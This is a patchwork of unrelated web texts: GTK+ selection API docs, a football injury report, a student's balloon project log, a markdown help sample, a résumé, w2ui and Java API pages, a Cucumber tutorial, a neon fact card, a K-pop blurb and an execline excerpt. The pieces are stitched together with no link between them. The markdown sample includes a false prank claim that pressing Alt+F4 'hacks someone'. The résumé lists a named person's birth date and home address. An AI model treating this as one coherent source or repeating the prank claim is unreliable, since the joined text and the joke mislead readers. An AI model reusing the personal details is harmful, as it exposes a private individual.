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The selection mechanism provides the basis for different types of communication between processes. In particular, drag and drop and GtkClipboard work via selections. You will very seldom or never need to use most of the functions in this section directly; GtkClipboard provides a nicer interface to the same functionality.
Some of the datatypes defined this section are used in the GtkClipboard and drag-and-drop API’s as well. The GtkTargetEntry and GtkTargetList objects represent lists of data types that are supported when sending or receiving data. The GtkSelectionData object is used to store a chunk of data along with the data type and other associated information.
GtkTargetEntry * gtk_target_entry_new (const gchar *target
,guint flags
,guint info
);
Makes a new GtkTargetEntry.
target |
String identifier for target |
|
flags |
Set of flags, see GtkTargetFlags |
|
info |
an ID that will be passed back to the application |
GtkTargetEntry *
gtk_target_entry_copy (GtkTargetEntry *data
);
Makes a copy of a GtkTargetEntry and its data.
void
gtk_target_entry_free (GtkTargetEntry *data
);
Frees a GtkTargetEntry returned from
gtk_target_entry_new()
or gtk_target_entry_copy()
.
GtkTargetList * gtk_target_list_new (const GtkTargetEntry *targets
,guint ntargets
);
Creates a new GtkTargetList from an array of GtkTargetEntry.
targets |
Pointer to an array of GtkTargetEntry. |
[array length=ntargets][allow-none] |
ntargets |
number of entries in |
GtkTargetList *
gtk_target_list_ref (GtkTargetList *list
);
Increases the reference count of a GtkTargetList by one.
void
gtk_target_list_unref (GtkTargetList *list
);
Decreases the reference count of a GtkTargetList by one. If the resulting reference count is zero, frees the list.
void gtk_target_list_add (GtkTargetList *list
,GdkAtom target
,guint flags
,guint info
);
Appends another target to a GtkTargetList.
void gtk_target_list_add_table (GtkTargetList *list
,const GtkTargetEntry *targets
,guint ntargets
);
Prepends a table of GtkTargetEntry to a target list.
list |
||
targets |
the table of GtkTargetEntry. |
[array length=ntargets] |
ntargets |
number of targets in the table |
void gtk_target_list_add_text_targets (GtkTargetList *list
,guint info
);
Appends the text targets supported by GtkSelectionData to
the target list. All targets are added with the same info
.
Since: 2.6
void gtk_target_list_add_image_targets (GtkTargetList *list
,guint info
,gboolean writable
);
Appends the image targets supported by GtkSelectionData to
the target list. All targets are added with the same info
.
list |
||
info |
an ID that will be passed back to the application |
|
writable |
whether to add only targets for which GTK+ knows how to convert a pixbuf into the format |
Since: 2.6
void gtk_target_list_add_uri_targets (GtkTargetList *list
,guint info
);
Appends the URI targets supported by GtkSelectionData to
the target list. All targets are added with the same info
.
Since: 2.6
void gtk_target_list_add_rich_text_targets (GtkTargetList *list
,guint info
,gboolean deserializable
,GtkTextBuffer *buffer
);
Appends the rich text targets registered with
gtk_text_buffer_register_serialize_format()
or
gtk_text_buffer_register_deserialize_format()
to the target list. All
targets are added with the same info
.
list |
||
info |
an ID that will be passed back to the application |
|
deserializable |
if |
|
buffer |
Since: 2.10
void gtk_target_list_remove (GtkTargetList *list
,GdkAtom target
);
Removes a target from a target list.
gboolean gtk_target_list_find (GtkTargetList *list
,GdkAtom target
,guint *info
);
Looks up a given target in a GtkTargetList.
list |
||
target |
an interned atom representing the target to search for |
|
info |
a pointer to the location to store
application info for target, or |
[out][allow-none] |
void gtk_target_table_free (GtkTargetEntry *targets
,gint n_targets
);
This function frees a target table as returned by
gtk_target_table_new_from_list()
targets |
a GtkTargetEntry array. |
[array length=n_targets] |
n_targets |
the number of entries in the array |
Since: 2.10
GtkTargetEntry * gtk_target_table_new_from_list (GtkTargetList *list
,gint *n_targets
);
This function creates an GtkTargetEntry array that contains the
same targets as the passed list
. The returned table is newly
allocated and should be freed using gtk_target_table_free()
when no
longer needed.
Since: 2.10
gboolean gtk_selection_owner_set (GtkWidget *widget
,GdkAtom selection
,guint32 time_
);
Claims ownership of a given selection for a particular widget,
or, if widget
is NULL
, release ownership of the selection.
gboolean gtk_selection_owner_set_for_display (GdkDisplay *display
,GtkWidget *widget
,GdkAtom selection
,guint32 time_
);
Claim ownership of a given selection for a particular widget, or,
if widget
is NULL
, release ownership of the selection.
display |
the GdkDisplay where the selection is set |
|
widget |
[allow-none] | |
selection |
an interned atom representing the selection to claim. |
|
time_ |
timestamp with which to claim the selection |
Since: 2.2
void gtk_selection_add_target (GtkWidget *widget
,GdkAtom selection
,GdkAtom target
,guint info
);
Appends a specified target to the list of supported targets for a given widget and selection.
void gtk_selection_add_targets (GtkWidget *widget
,GdkAtom selection
,const GtkTargetEntry *targets
,guint ntargets
);
Prepends a table of targets to the list of supported targets for a given widget and selection.
void gtk_selection_clear_targets (GtkWidget *widget
,GdkAtom selection
);
Remove all targets registered for the given selection for the widget.
gboolean gtk_selection_convert (GtkWidget *widget
,GdkAtom selection
,GdkAtom target
,guint32 time_
);
Requests the contents of a selection. When received, a “selection-received” signal will be generated.
widget |
The widget which acts as requestor |
|
selection |
Which selection to get |
|
target |
Form of information desired (e.g., STRING) |
|
time_ |
Time of request (usually of triggering event) In emergency, you could use GDK_CURRENT_TIME |
void gtk_selection_data_set (GtkSelectionData *selection_data
,GdkAtom type
,gint format
,const guchar *data
,gint length
);
Stores new data into a GtkSelectionData object. Should only be called from a selection handler callback. Zero-terminates the stored data.
selection_data |
a pointer to a GtkSelectionData. |
|
type |
the type of selection data |
|
format |
format (number of bits in a unit) |
|
data |
pointer to the data (will be copied). |
[array length=length] |
length |
length of the data |
gboolean gtk_selection_data_set_text (GtkSelectionData *selection_data
,const gchar *str
,gint len
);
Sets the contents of the selection from a UTF-8 encoded string.
The string is converted to the form determined by
selection_data->target
.
guchar *
gtk_selection_data_get_text (const GtkSelectionData *selection_data
);
Gets the contents of the selection data as a UTF-8 string.
gboolean gtk_selection_data_set_pixbuf (GtkSelectionData *selection_data
,GdkPixbuf *pixbuf
);
Sets the contents of the selection from a GdkPixbuf
The pixbuf is converted to the form determined by
selection_data->target
.
Since: 2.6
GdkPixbuf *
gtk_selection_data_get_pixbuf (const GtkSelectionData *selection_data
);
Gets the contents of the selection data as a GdkPixbuf.
if the selection data
contained a recognized image type and it could be converted to a
GdkPixbuf, a newly allocated pixbuf is returned, otherwise
NULL
. If the result is non-NULL
it must be freed with
g_object_unref()
.
[nullable][transfer full]
Since: 2.6
gboolean gtk_selection_data_set_uris (GtkSelectionData *selection_data
,gchar **uris
);
Sets the contents of the selection from a list of URIs.
The string is converted to the form determined by
selection_data->target
.
selection_data |
||
uris |
a |
[array zero-terminated=1] |
Since: 2.6
gchar **
gtk_selection_data_get_uris (const GtkSelectionData *selection_data
);
Gets the contents of the selection data as array of URIs.
if
the selection data contains a list of
URIs, a newly allocated NULL
-terminated string array
containing the URIs, otherwise NULL
. If the result is
non-NULL
it must be freed with g_strfreev()
.
[array zero-terminated=1][element-type utf8][transfer full]
Since: 2.6
gboolean gtk_selection_data_get_targets (const GtkSelectionData *selection_data
,GdkAtom **targets
,gint *n_atoms
);
Gets the contents of selection_data
as an array of targets.
This can be used to interpret the results of getting
the standard TARGETS target that is always supplied for
any selection.
selection_data |
a GtkSelectionData object |
|
targets |
location to store an array of targets. The result stored
here must be freed with |
[out][array length=n_atoms][transfer container] |
n_atoms |
location to store number of items in |
gboolean gtk_selection_data_targets_include_image (const GtkSelectionData *selection_data
,gboolean writable
);
Given a GtkSelectionData object holding a list of targets,
determines if any of the targets in targets
can be used to
provide a GdkPixbuf.
selection_data |
a GtkSelectionData object |
|
writable |
whether to accept only targets for which GTK+ knows how to convert a pixbuf into the format |
TRUE
if selection_data
holds a list of targets,
and a suitable target for images is included, otherwise FALSE
.
Since: 2.6
gboolean
gtk_selection_data_targets_include_text
(const GtkSelectionData *selection_data
);
Given a GtkSelectionData object holding a list of targets,
determines if any of the targets in targets
can be used to
provide text.
gboolean
gtk_selection_data_targets_include_uri
(const GtkSelectionData *selection_data
);
Given a GtkSelectionData object holding a list of targets,
determines if any of the targets in targets
can be used to
provide a list or URIs.
TRUE
if selection_data
holds a list of targets,
and a suitable target for URI lists is included, otherwise FALSE
.
Since: 2.10
gboolean gtk_selection_data_targets_include_rich_text (const GtkSelectionData *selection_data
,GtkTextBuffer *buffer
);
Given a GtkSelectionData object holding a list of targets,
determines if any of the targets in targets
can be used to
provide rich text.
TRUE
if selection_data
holds a list of targets,
and a suitable target for rich text is included,
otherwise FALSE
.
Since: 2.10
GdkAtom
gtk_selection_data_get_selection (const GtkSelectionData *selection_data
);
Retrieves the selection GdkAtom of the selection data.
Since: 2.16
const guchar *
gtk_selection_data_get_data (const GtkSelectionData *selection_data
);
Retrieves the raw data of the selection.
[skip]
Since: 2.14
gint
gtk_selection_data_get_length (const GtkSelectionData *selection_data
);
Retrieves the length of the raw data of the selection.
Since: 2.14
const guchar * gtk_selection_data_get_data_with_length (const GtkSelectionData *selection_data
,gint *length
);
Retrieves the raw data of the selection along with its length.
[rename-to gtk_selection_data_get_data]
selection_data |
a pointer to a GtkSelectionData. |
|
length |
return location for length of the data segment. |
[out] |
Since: 3.0
GdkAtom
gtk_selection_data_get_data_type (const GtkSelectionData *selection_data
);
Retrieves the data type of the selection.
Since: 2.14
GdkDisplay *
gtk_selection_data_get_display (const GtkSelectionData *selection_data
);
Retrieves the display of the selection.
Since: 2.14
gint
gtk_selection_data_get_format (const GtkSelectionData *selection_data
);
Retrieves the format of the selection.
Since: 2.14
GdkAtom
gtk_selection_data_get_target (const GtkSelectionData *selection_data
);
Retrieves the target of the selection.
Since: 2.14
gboolean gtk_targets_include_image (GdkAtom *targets
,gint n_targets
,gboolean writable
);
Determines if any of the targets in targets
can be used to
provide a GdkPixbuf.
targets |
an array of GdkAtoms. |
[array length=n_targets] |
n_targets |
the length of |
|
writable |
whether to accept only targets for which GTK+ knows how to convert a pixbuf into the format |
Since: 2.10
gboolean gtk_targets_include_text (GdkAtom *targets
,gint n_targets
);
Determines if any of the targets in targets
can be used to
provide text.
Since: 2.10
gboolean gtk_targets_include_uri (GdkAtom *targets
,gint n_targets
);
Determines if any of the targets in targets
can be used to
provide an uri list.
Since: 2.10
gboolean gtk_targets_include_rich_text (GdkAtom *targets
,gint n_targets
,GtkTextBuffer *buffer
);
Determines if any of the targets in targets
can be used to
provide rich text.
targets |
an array of GdkAtoms. |
[array length=n_targets] |
n_targets |
the length of |
|
buffer |
Since: 2.10
void
gtk_selection_remove_all (GtkWidget *widget
);
Removes all handlers and unsets ownership of all selections for a widget. Called when widget is being destroyed. This function will not generally be called by applications.
GtkSelectionData *
gtk_selection_data_copy (const GtkSelectionData *data
);
Makes a copy of a GtkSelectionData and its data.
void
gtk_selection_data_free (GtkSelectionData *data
);
Frees a GtkSelectionData returned from
gtk_selection_data_copy()
.
struct GtkTargetEntry { gchar *target; guint flags; guint info; };
A GtkTargetEntry represents a single type of data than can be supplied for by a widget for a selection or for supplied or received during drag-and-drop.
gchar * |
a string representation of the target type |
|
guint |
GtkTargetFlags for DND |
|
guint |
an application-assigned integer ID which will get passed as a parameter to e.g the “selection-get” signal. It allows the application to identify the target type without extensive string compares. |
typedef struct _GtkTargetList GtkTargetList;
A GtkTargetList is a reference counted list of GtkTargetPair and should be treated as opaque.
struct GtkTargetPair { GdkAtom target; guint flags; guint info; };
A GtkTargetPair is used to represent the same information as a table of GtkTargetEntry, but in an efficient form.
GdkAtom |
GdkAtom representation of the target type |
|
guint |
GtkTargetFlags for DND |
|
guint |
an application-assigned integer ID which will get passed as a parameter to e.g the “selection-get” signal. It allows the application to identify the target type without extensive string compares. |
GtkWidget - Much of the operation of selections happens via signals for GtkWidget. In particular, if you are using the functions in this section, you may need to pay attention to “selection-get”, “selection-received” and “selection-clear-event” signals


Sergio Aguero to miss Manchester derby with striker set for spell on sidelines
City’s record goalscorer has a thigh issue.
Sergio Aguero will miss next month’s Manchester derby after being ruled out for “a few weeks” by manager Pep Guardiola.
The Manchester City striker suffered a thigh injury in the Premier League champions’ victory over Chelsea at the Etihad Stadium on Saturday.
Guardiola is unsure how long he will be without the club’s record goalscorer but he is already resigned to him missing the home clash with Manchester United on December 7.
Speaking at a press conference to preview Tuesday’s Champions League clash with Shakhtar Donetsk, Guardiola said: “He will be out a few games, a few weeks. I don’t know exactly.”
Asked about the United game, the Spaniard added: “Maybe we will have a miracle but I don’t think so.”
Aguero’s absence will mean an opportunity for Brazil striker Gabriel Jesus to lead the line.
The 22-year-old said: “I am not happy because Sergio is injured. I don’t like it when my friends are injured but I work here every day and I am ready to play. Every time in the training session because I want to improve everything.”
Spanish pair Rodri and David Silva will be available to face Shakhtar after they were withdrawn against Chelsea with cramp.


Hans Gaensbauer |
click to stop
If you're reading this, you spelled my name right! I am a junior at East High School in Denver Colorado with an interest in science and engineering. Here, I've outlined all of my most interesting (and best documented) projects from this year.
We did not recover the balloon.
Four and a half hours after the launch, I succeeded in contacting the recovery
phone on the high altitude balloon, which had traveled 180 nmiles away,
into Nebraska. The next day we left to go retrieve it.
As it turns out, it is impossible to find coordinates from the Google Find My Phone
website, and after an hour of digging around in the page source, I gave up.
I took a screenshot and created a transparency, which I overlaid onto
Google Maps (above).
Getting to Nebraska took 4 hours, and we left at noon. When we arrived,
the car got stuck in mud, and after managing to extricate ourselves,
we decided that it would be folly to try to drive, so we set off on foot.
After walking through two miles of open fields and surprisingly hilly terrain,
we found nothing. And that is when the wind came.
With alarming speed, the previously mild wind turned south and accelerated
to 80 mph, forcing us to abandon our search and turn back. After a long
trudge, being buffeted by flying corn stalks and dirt clouds, we made it
back just before it started to rain.
After all that work, the balloon launch did not go to plan.
About two weeks before the launch, we decided to scrap the printed circuit
board, due to the lack of progress on fitting rivets. We had to fit each
rivet manually, then drill through it again to make room for the pins.
While it was a relief to finally be making progress, there were too many
wires and the circuit was a rat's nest.
On the day of the launch, we did the helium calculations incorrectly,
having assumed a payload weight that was too low. When we had completed
the launch countdown, the balloon did not float away, but instead hit the
ground with a heart-sinking thud (in front of CBS and channel 4).
I will say that I was inspired by the disaster control that followed. I redid
the helium calculations by hand, and we got more helium from party city (we
found that we were missing about 30 cubic feet of helium).
Before the second launch, our programmer told us that the electronics were
not functioning, and we decided to cut them out. The gopro and a backup phone
would stay, but everything else, all of the circutry that we had designed
and constructed over the last six months, had to go. I cut out everything
but the raspberry pi camera, and we launched the balloon.
The media coverage of the launch can be found here.
I have redesigned the PCB for the balloon!
We did not remove the ADC, instead, we will redesign the breakouts for
the MQ sensors using protoboard. We added a JST connector for the PM 2.5
sensor, and widened the distance between the pads and the polygon pour.
The other important change is the addition of a GSM module from DIYmall.
This will allow the balloon to communicate with SMS while it is at low
altitude without having to wait for Iridium's servers. More importantly,
the GSM module has a much higher communication speed, so we can pull
pictures from the Raspberry Pi on the way down. If we lose the balloon,
we will still be able to collect all of its data.
The PCB has been remade! Using the same process, we created a new version of the HAALO PCB using the design above. This time, armed with more experience and a new set of drill bits, we were careful to avoid the same mistakes we made last time. Here is the new PCB with the vinyl resist. I was faster removing it after spray painting the board, so there were fewer problems with the paint coming with the vinyl. I didn't have any acid brushes (and I didn't feel like going to the hardware store) so I cut up a sponge and hot glued the pieces to a few pencils. We had two PCBs and three people (myself and two absolutely brilliant exchange students from Italy and Poland), so we took turns emptying the acid while the other two scrubbed, and we were done within an hour. When we finished, we were left with one bottle of used PCB etchant. To make etching faster, we had to use more acid (as rate is a function of concentration, not amount). We neutralized the acid and added aluminum to create aluminum chloride, which can be disposed of legally. This time, we drilled the through-holes with a mill at my school, a piece of equipment which I'm convinced cost more than the building it's housed in. The drill bit was way too small for the collet, so we used an equally fancy engine mill to turn down my poor micro drill bit collet so that it would fit in the 5/32" collet in the mill, and, believe it or not, it worked!


For example,

should be wrapped as inline.
Use

to create a new line and use

for a horizontal rule.
To switch directories, type cd followed by the name of the directory.
To edit settings, press ctrl + ,
You can hack someone by going to your desktop, press
Alt + F4 ,
and press Enter .

Sample text here...

And another line of sample text here...

.
.
.
.
.
.
is semi-unstyled when surrounded by an
.


Seeking challenging assignment in Software Development
- Up to date with latest software technologies
- Have special interest and expertise in Linux and other open source technologies
- Detail oriented with strong programming skills
- Works diligently on complex, big, tedious assignments
- Excellent interpersonal communication, time management, and problem resolution skills
- Programming Languages: Java, Python, JavaScript, C#, PHP
- Technologies/Frameworks: GTK/Glade, Node.js, .NET Framework, Android, JQuery,
Bootstrap CSS Framework
- Operating Systems: Linux (Fedora, openSUSE and Debian based distros), Windows
8/7/XP
- Databases: MySQL, SQL Server, SQLite, Postgresql, MongoDB
- Software Packages: LibreOffice suite, Microsoft Office, Cloud based office
suite(Google docs , Office 365), Git distributed version control system, Mercurial
distributed version control system, Eclipse
Larsen and Toubro - Undergone 4 months of vocational training on "Software Development and Implementation of Safety Field Audit" at L&T-Modular Fabrication Facility (MFF), during the period of Jan-May 2012.
Developed web based application for Engineers to input and manage safety violations by staff during work in fabrication yards. The software also generates graphs and reports using SQL Server Reporting Service (SSRS) which are used in company official records and safety presentations.
Website for An-Cee (Fashion Store) - A website for An-Cee(Fashion Store) which includes an
administrative backhand, where the site admin can update website information, images with
ease.
Bootstrap CSS framework, JQuery JavaScript library and HTML was used for frontend and PHP
was used as backend service side language. MySQL is used as Database.
Web Link : http://an-cee.com/
Website for The Royal Taj (Restaurant) - A website for Royal Taj(Restaurant), Located in Cincinnatio Ohio.
The website includes ajax drive menu which fetches data from a json file, because of this updates to menu becomes easy.
Web Link : http://theroyaltaj/
Faster Finger First (Quiz buzzer) - project involving micro-controller sequencing program and
serial interface to PC. Buzzers are connected to PC which are to be pressed, the first buzzer to
be pressed is displayed on the PC in a GUI based software written in C#/ .NET framework for
windows.
Control Over Web (Home Automation and Control System) - Temperature sensors,
Intrusion detection sensors and fire alarm are connected to web relay. With this software
package you get notifications on your Android device when intrusion or fire alarm gets
activated. Current temperature can also be viewed on your android device. Software package is
divided into three parts.
- Android application
- Google cloud messaging server which is responsible for notification and
- Web scripts which gets data from web relay.
GitHub Repository Link: https://github.com/PadaliaRushabh/control-over-web
Zoo Management System - The goal of zoo management project is create a tool for zoo
administrators to store and manage information about the zoo on a computerized database
system. The System is divided into two parts: the desktop application to view information and
the web admin UI to manage information.
GitHub Repository Link: https://github.com/PadaliaRushabh/zoo
Singapore Partners - Website to promote Singapore tourism industry. PHP is used as
backend server side language and bootstrap CSS framework, HTML is used for front hand.
GitHub Repository Link: https://github.com/PadaliaRushabh/SIngaporePartners
TweetX - TweetX is a data mining project to collect information from twitter and cluster them
using K-mean data mining algorithm. Ruby script is used to collect data from twitter. The script
collects user specific data like Age of Twitter Account, Number of Followers, Number of Friends,
Number of Tweets, Number of Favorited Tweets, Listed Count, Last Tweets. All the data
gathered are in public domain. K-mean algorithm is written in python language which is used to
cluster the data.
GitHub Repository Link: https://github.com/PadaliaRushabh/tweetx
Guess my Number - Guess my name is an Android App for small children, it is an educational
game which uses virtual cards that display collections of numbers. The numbers are chosen such
that when they are arranged carefully on the cards , the child is able to play a game of “guess
the secret number”. When a child wins a game , the child’s name, current date , and the game
score are saved to a high-scores table.
GitHub Repository Link: https://github.com/PadaliaRushabh/Guess-My-Number
Educational Qualification
Masters of Computing (Australian National University Canberra, Australia)
- Masters of Computing at Australian National University
- Majoring in Software Engineering
- Started in July 2014
- Currently in Semester - 2
- Ranked 25th in the world by QS World University Ranking (2014) and 45th in the world by
Times Higher Education World Ranking (2014)
Bachelor in Information Technology at James Cook University - Singapore
- Bachelor in Information Technology at James Cook University - Singapore
- Secured 5.56/7 GPA
- Graduated in March 2014
- Secured advance standing in 8 subjects and scholarship in two subjects
- Course Outline: Operating Systems architecture, Advanced Programming, Web
Development and Internet Technologies, Mobile Technology (Android), Data Mining,
Algorithms, Human Computer Interaction
Diploma in Information Technology at Nirma Institute of Technology - India
- Secured First Class with Distinction
- Four Years Diploma Program (Aug-2008 to June 2012)
- Nirma University is one of the top ranking universities in India
- Course Outline: Operating Systems (Windows, Unix), Network Administration, Programming (C, C++,Java, C#, PHP, JavaScript, HTML), Database (Oracle Database), Information System Managements,E-Commerce fundamentals
- Date of Birth: November 6, 1991
- Languages Known: English, Hindi, Gujarati
- Address: UniLodge @ ANU - Davey Lodge, Room No: 238, 25 Childers Street, Canberra
ACT 2601, Australia
- Nationality: Indian
- Hobbies: Astronomy, Open Source Software and Technologies, Android Programming
and Technologies, Development of Automation tools using Linux, Reading about Ancient
Civilizations and Indian history


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Dialogs
Two most frequnt dialogs are alert and cofirm. In the case of a alert you just need to display a message to the user and require no feedback
besides user acknowledgement. Confirm dialog has similar purpose, but expects from the user a response by accepting or declining the message.
The w2ui library includes these dialogs for your convenience.
w2alert (msg, [title], [callBack])
The alert dialog can be called in the following way:
First argument, msg, is a message to display. Second optional argument, title, is the title for the dialog. The third optional argument,
calBack, is a call back function when dialog is closed.
w2confirm (msg, [title], [callBack])
The confirm dialog can be called in the following way:
The method takes up to three arguments w2confirm(msg, [title], [callBack]), where msg is the message to display.
You can optionally supply title for the message and a call back function.
w2confirm (options)
You can optionally call w2confirm passing an object with options. This options object has following structure:
For convenience, w2confirm will return to you an object with yes() and no() methods that you can use in the following way:


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Neon
Element Name:
Neon
Latin Name:
Neon
Atomic Number:
10
Atomic Weight:
20.1797 u
Is a:
Noble-Gas
State of the element:
Gaseous
About:
Neon is a chemical element with the symbol Ne and atomic number 10. It is a noble gas. Neon is a colorless, odorless, inert monatomic gas under standard conditions, with about two-thirds the density of air. It was discovered (along with krypton and xenon) in 1898 as one of the three residual rare inert elements remaining in dry air, after nitrogen, oxygen, argon and carbon dioxide were removed. Neon was the second of these three rare gases to be discovered and was immediately recognized as a new element from its bright red emission spectrum. Neon is chemically inert, and no uncharged neon compounds are known. The compounds of neon currently known include ionic molecules, molecules held together by van der Waals forces and clathrates.
Electrons
10
Protons
10
Neutrons
10
Discoverer:
Sir William Ramsay, Morris William Travers
Discovered in:
1898


With hundreds of programming languages in existence and new ones being created all the time, choosing that first language to learn can be overwhelming to say the least. If you're interested in learning to code but you don't know where to start, you're in the right place.
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(G)I-DLE's Yuqi treats fans with stunning behind the scenes shots from the MV set of 'Lion'
by sl278(G)I-DLE's Yuqi is creating some major buzz with netizens for her gorgeous visuals.
The popular star uploaded a series of pictures on her personal Instagram account, looking like a regal queen on the set of the group's MV shooting for "Lion". Yuqi is seen rocking red velvet outfits that truly make her look like royalty.
Netizen comments include:
"She looks pretty even when she doesn't use editing apps."
"Their song is so good."
"Red suits Yuqi so well!"
Check out the rest of the photos below.


animals
patterns
colors
circles
happy
sad
sports
texture
water
gifs
Lemur by Lauren Crh
Turtle by Jason Ksfa
Puppy and Cheetah by Arnold SKD
*/////
random
submit


Cucumber is a popular BDD test automation tool. Cucumber-JVM is the Java implementation of Cucumber. In Cucumber, you express acceptance criteria in a natural, human-readable form. For example, we could write the "wool scarf" example mentioned in the JBehave example like this:
Given I want to buy a wool scarf
When I search for items containing 'wool'
Then I should only see items related to 'wool'
This format is known as 'Gherkin', and is widely used in Cucumber and other Cucumber-based BDD tools such as SpecFlow (for .NET) and Behave (for Python). Gherkin is a flexible, highly readable format that can be written collaboratively with product owners to ensure that everyone . The loosely-structured 'Given-When-Then' format helps people focus on what they are trying to achieve, and how they will know when they get it.
Sometimes tables can be used to summarize several different examples of the same scenario. In Gherkin, you can use example tables to do this. For instance, the following scenario illustrates how you can search for different types of products made of different materials:
Scenario Outline: Filter by different item types
Given I have searched for items containing '<material>'
When I filter results by type '<type>'
Then I should only see items containing '<material>' of type '<type>'
Examples:
| material | type |
| silk | Handmade |
| bronze | Vintage |
| wool | Craft Supplies |
Getting Started with Cucumber-JVM and Serenity
To get started, you will need to add the Serenity Cucumber plugin to your project. In Maven, just add the following dependencies to your pom.xml file:
<dependency>
<groupId>net.serenity-bdd</groupId>
<artifactId>serenity-core</artifactId>
<version>${serenity.version}</version>
</dependency>
<dependency>
<groupId>net.serenity-bdd</groupId>
<artifactId>serenity-cucumber</artifactId>
<version>${serenity.cucumber.version}</version>
</dependency>
The equivalent in Gradle is:
testCompile 'net.serenity-bdd:core:1.9.36'
testCompile 'net.serenity-bdd:serenity-cucumber:1.9.15'
New versions come out regularly, so be sure to check the Maven Central repository (http://search.maven.org) to know the latest version numbers for each dependency.
Cucumber Maven Archetype
A Cucumber archetype is available to help you jumpstart a new project. As usual, you can run mvn archetype:generate -Dfilter=serenity
from the command line and then select the net.serenity-bdd:serenity-cucumber-archetype
archetype from the proposed list of archetypes.
Or you can use your favorite IDE to generate a new Maven project using an archetype.
Writing executable specifications with Cucumber and Serenity
In Cucumber, scenarios are stored in 'Feature Files', which contain an overall description of a feature as well as a number of scenarios.
The Feature File for the example above is called search_by_keyword.feature
, and looks something like this:
Feature: Searching by keyword
In order to find items that I would like to purchase
As a potential buyer
I want to be able to search for items containing certain words
Scenario: Should list items related to a specified keyword
Given I want to buy a wool scarf
When I search for items containing 'wool'
Then I should only see items related to 'wool'
These feature files can be placed in different locations, but you can reduce the amount of configuration you need to do with Serenity if you put them in the src/test/resources/features
directory.
You typically organize the feature files in sub-directories that reflect the higher-level requirements. In the following directory structure, for example, we have feature definitions for several capabilities: 'search' and 'shopping_cart':
|----src | |----test | | |----resources | | | |----features | | | | |----search | | | | | |----search_by_keyword.feature | | | | |----shopping_cart | | | | | |----adding_items_to_the_shopping_cart.feature
Another option is to place them in src/test/resources', but underneath the same package name as your scenario runner class (see below).
This requires slightly less configuration of the scenario runner class.
However in this case, you need to specify the `thucydides.requirements.dir
property in your serenity.properties
(or thucydides.properties
) file to point to the root requirements directory:
thucydides.requirements.dir=src/test/resources/net/serenity_bdd/samples/etsy/features
The Scenario Runner
Cucumber runs the feature files via JUnit, and needs a dedicated test runner class to actually run the feature files.
When you run the tests with Serenity, you use the CucumberWithSerenity
test runner.
If the feature files are not in the same package as the test runner class, you also need to use the @CucumberOptions
class to provide the root directory where the feature files can be found.
A simple test runner looks like this:
package net.serenity_bdd.samples.etsy.features;
import cucumber.api.CucumberOptions;
import net.serenitybdd.cucumber.CucumberWithSerenity;
import org.junit.runner.RunWith;
@RunWith(CucumberWithSerenity.class)
@CucumberOptions(features="src/test/resources/features/search/search_by_keyword.feature")
public class SearchByKeyword {}
If your feature files are stored in or under the same package as your scenario runner class (in src/test/resources
) as discussed in the previous section, then you don’t need to use @CucumberOptions
to provide the root directory.
Step definitions
In Cucumber, each line of the Gherkin scenario maps to a method in a Java class, known as a 'Step Definition'.
These use annotations like @Given
, @When
and @Then
match lines in the scenario to Java methods.
You define simple regular expressions to indicate parameters that will be passed into the methods:
public class SearchByKeywordStepDefinitions {
@Steps
BuyerSteps buyer;
@Given("I want to buy (.*)")
public void buyerWantsToBuy(String article) {
buyer.opens_etsy_home_page();
}
@When("I search for items containing '(.*)'")
public void searchByKeyword(String keyword) {
buyer.searches_for_items_containing(keyword);
}
@Then("I should only see items related to '(.*)'")
public void resultsForACategoryAndKeywordInARegion(String keyword) {
buyer.should_see_items_related_to(keyword);
}
}
These step definitions use Serenity to organize the step definition code into more reusable components.
The @Steps
annotation tells Serenity that this variable is a Step Library.
In Serenity, we use Step Libraries to add a layer of abstraction between the "what" and the "how" of our acceptance tests.
The Cucumber step definitions describe "what" the acceptance test is doing, in fairly implementation-neutral, business-friendly terms.
So we say "searches for items containing ''wool'", not "enters ''wool'' into the search field and clicks on the search button".
This layered approach makes the tests both easier to understand and to maintain, and helps build up a great library of reusable business-level steps that we can use in other tests. Without this kind of layered approach, step definitions tend to become very technical very quickly, which limits reuse and makes them harder to understand and maintain.


public class NegotiationInfo
extends java.lang.Object
NegotiationParty#init()
. This makes the
NegotiationParty.init(NegotiationInfo)
call cleaner, and it makes it
easier to add new functionality without having to fix all agents.| Constructor and Description |
|---|
NegotiationInfo(AbstractUtilitySpace utilSpace,
Deadline deadline,
TimeLineInfo timeline,
long randomSeed,
AgentID agentID,
PersistentDataContainer storage) |
| Modifier and Type | Method and Description |
|---|---|
AgentID |
getAgentID() |
Deadline |
getDeadline() |
PersistentDataContainer |
getPersistentData() |
long |
getRandomSeed() |
TimeLineInfo |
getTimeline() |
AbstractUtilitySpace |
getUtilitySpace() |
public NegotiationInfo(AbstractUtilitySpace utilSpace, Deadline deadline, TimeLineInfo timeline, long randomSeed, AgentID agentID, PersistentDataContainer storage)
utilSpace
- (a copy of/readonly version of) the
AbstractUtilitySpace
to be used for this session.deadline
- The deadline used for this negotiation.timeline
- The TimeLineInfo
about current session.randomSeed
- A random seed that can be used for creating "consistent
random" behaviour.agentID
- The agent's ID.storage
- storage space where the agent can store data that is
persistent over sessions. Depending on the run settings, each
[agentclass, profiles] tuple can have its own unique storage
that persists only during the run of a tournament. Between
sessions, this data is saved to disk to avoid memory issues
when other agents are running. If the storage is not empty,
this data is retrieved at the start of each session and saved
at the end of each session. The load is timeboxed by the
negotiation settings. The save time is limited to 1 second.
The programmer should ensure that storage is actually
serializable. This call is timeboxed by the negotiation
deadline settings.public AbstractUtilitySpace getUtilitySpace()
public long getRandomSeed()
public TimeLineInfo getTimeline()
public AgentID getAgentID()
public Deadline getDeadline()
public PersistentDataContainer getPersistentData()


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execline
Software
skarnet.org
The execline language design and grammar
execline principles
Here are some basic Unix facts:
- Unix programs are started with the execve()
system call, which takes 3 arguments: the command name (which
we won't discuss here because it's redundant in most cases),
the command line argv, which specifies the program name and its
arguments, and the environment envp.
- The argv structure makes it easy to read some
arguments at the beginning of argv, perform some action,
then execve() into the rest of argv. For
instance, the nice command works that way:
nice -10 echo blah
will read nice and -10
from the argv, change the process' nice value, then exec into
the command echo blah. This is called
chain loading
by some people, and
Bernstein chaining by others.
- The purpose of the environment is to preserve some state across
execve() calls. This state is usually small: most programs
keep their information in the filesystem.
- A script is basically a text file whose meaning is a
sequence of actions, i.e. calls to Unix programs, with some control
over the execution flow. You need a program to interpret your script.
Traditionally, this program is /bin/sh: scripts are written
in the shell language.
- The shell reads and interprets the script command after command.
That means it must preserve a state, and stay in memory while the
script is running.
- Standard shells have lots of built-in features and commands, so
they are big. Spawning (i.e. fork()ing then exec()ing)
a shell script takes time, because the shell program itself must be
initialized. For simple programs like nice -10 echo blah,
